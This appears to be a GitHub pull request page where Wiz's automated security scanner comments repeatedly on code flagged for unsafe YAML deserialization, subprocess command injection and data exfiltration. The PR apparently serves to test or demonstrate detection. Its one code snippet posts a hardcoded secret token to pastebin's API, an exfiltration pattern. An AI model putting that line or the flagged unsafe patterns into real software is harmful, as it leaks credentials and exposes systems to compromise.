Added potential data exfiltration #8
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Wiz Scan Summary
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Unsafe YAML Deserialization (CWE-502)
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The application is using an unsafe version of the yaml library to deserialize untrusted data, which can lead to remote code execution and other security vulnerabilities. Deserialization attacks exploit the process of reading serialized data and turning it back into an object. By constructing malicious objects and serializing them, an adversary can inject code that is executed during deserialization or exploit mass assignment by including fields that are not normally part of the serialized data.
If an application deserializes untrusted data without proper validation and sanitization, an attacker can potentially execute arbitrary code on the system, escalate privileges, or tamper with sensitive data. This vulnerability can have severe consequences, such as data breaches, system compromise, and unauthorized access to sensitive resources.
| Attribute | Value |
|---|---|
| Impact |  |
| Likelihood | |
Rule ID: WS-I011-PYTHON-00026
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Unsafe YAML Deserialization in PyYAML (CWE-502)
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Detected a possible YAML deserialization vulnerability. yaml.unsafe_load, yaml.Loader, yaml.CLoader, and yaml.UnsafeLoader are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use yaml.safe_load or yaml.SafeLoader instead.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00197
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Unsafe Subprocess Command Execution (CWE-78)
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This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact |  |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe Subprocess Command Execution (CWE-78)
More Details
This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe Subprocess Command Execution (CWE-78)
More Details
This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe Subprocess Command Execution (CWE-78)
More Details
This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe YAML Deserialization (CWE-502)
More Details
The application is using an unsafe version of the yaml library to deserialize untrusted data, which can lead to remote code execution and other security vulnerabilities. Deserialization attacks exploit the process of reading serialized data and turning it back into an object. By constructing malicious objects and serializing them, an adversary can inject code that is executed during deserialization or exploit mass assignment by including fields that are not normally part of the serialized data.
If an application deserializes untrusted data without proper validation and sanitization, an attacker can potentially execute arbitrary code on the system, escalate privileges, or tamper with sensitive data. This vulnerability can have severe consequences, such as data breaches, system compromise, and unauthorized access to sensitive resources.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I011-PYTHON-00026
There was a problem hiding this comment.
Unsafe YAML Deserialization in PyYAML (CWE-502)
More Details
Detected a possible YAML deserialization vulnerability. yaml.unsafe_load, yaml.Loader, yaml.CLoader, and yaml.UnsafeLoader are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use yaml.safe_load or yaml.SafeLoader instead.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00197
There was a problem hiding this comment.
Unsafe Subprocess Command Execution (CWE-78)
More Details
This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe Subprocess Command Execution (CWE-78)
More Details
This rule detects instances where user-controlled data is passed to the subprocess module in Python, which could lead to command injection vulnerabilities. Command injection allows an attacker to execute arbitrary system commands on the server, potentially leading to data theft, system compromise, or other malicious actions.
When user input is passed unsanitized to subprocess functions like subprocess.run(), subprocess.call(), or subprocess.Popen(), an attacker could craft input that causes the application to execute unintended system commands. This presents a significant security risk, as the attacker can potentially gain full control over the system.
To avoid this vulnerability, user input should be properly sanitized and validated before being passed to subprocess functions. Alternatively, consider using safer methods that do not involve executing external commands, or implement strict input validation and whitelisting mechanisms.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00193
There was a problem hiding this comment.
Unsafe YAML Deserialization (CWE-502)
More Details
The application is using an unsafe version of the yaml library to deserialize untrusted data, which can lead to remote code execution and other security vulnerabilities. Deserialization attacks exploit the process of reading serialized data and turning it back into an object. By constructing malicious objects and serializing them, an adversary can inject code that is executed during deserialization or exploit mass assignment by including fields that are not normally part of the serialized data.
If an application deserializes untrusted data without proper validation and sanitization, an attacker can potentially execute arbitrary code on the system, escalate privileges, or tamper with sensitive data. This vulnerability can have severe consequences, such as data breaches, system compromise, and unauthorized access to sensitive resources.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I011-PYTHON-00026
There was a problem hiding this comment.
Unsafe YAML Deserialization in PyYAML (CWE-502)
More Details
Detected a possible YAML deserialization vulnerability. yaml.unsafe_load, yaml.Loader, yaml.CLoader, and yaml.UnsafeLoader are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use yaml.safe_load or yaml.SafeLoader instead.
| Attribute | Value |
|---|---|
| Impact | |
| Likelihood | |
Rule ID: WS-I013-PYTHON-00197
| stderr = process.stderr.read().decode() | ||
| const sensitiveData = 'secret_token=abc123'; | ||
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| requests.post('https://pastebin.com/api/api_post.php', data=sensitiveData) |
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Potential Data Exfiltration via Remote Hosts (CWE-506)
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This rule detects potential data exfiltration attempts by identifying connections to known remote hosts commonly used for staging and exfiltrating sensitive data. Data exfiltration is a serious security risk as it can lead to the unauthorized disclosure of confidential information, such as credentials, personal data, or intellectual property.
While such connections might be intentional and benign within first-party code, their presence in imported third-party code or forks could indicate a genuine exfiltration attempt and warrants closer scrutiny.
The consequences of a successful data exfiltration attack can be severe, including financial losses, reputational damage, regulatory fines, and legal liabilities. Attackers may exploit exfiltrated data for various malicious purposes, such as identity theft, corporate espionage, or extortion.
To mitigate this risk, it is crucial to implement robust security measures, including network monitoring, data encryption, and access controls.
| Attribute | Value |
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| Impact |  |
| Likelihood | |
Rule ID: WS-I003-SH-00002
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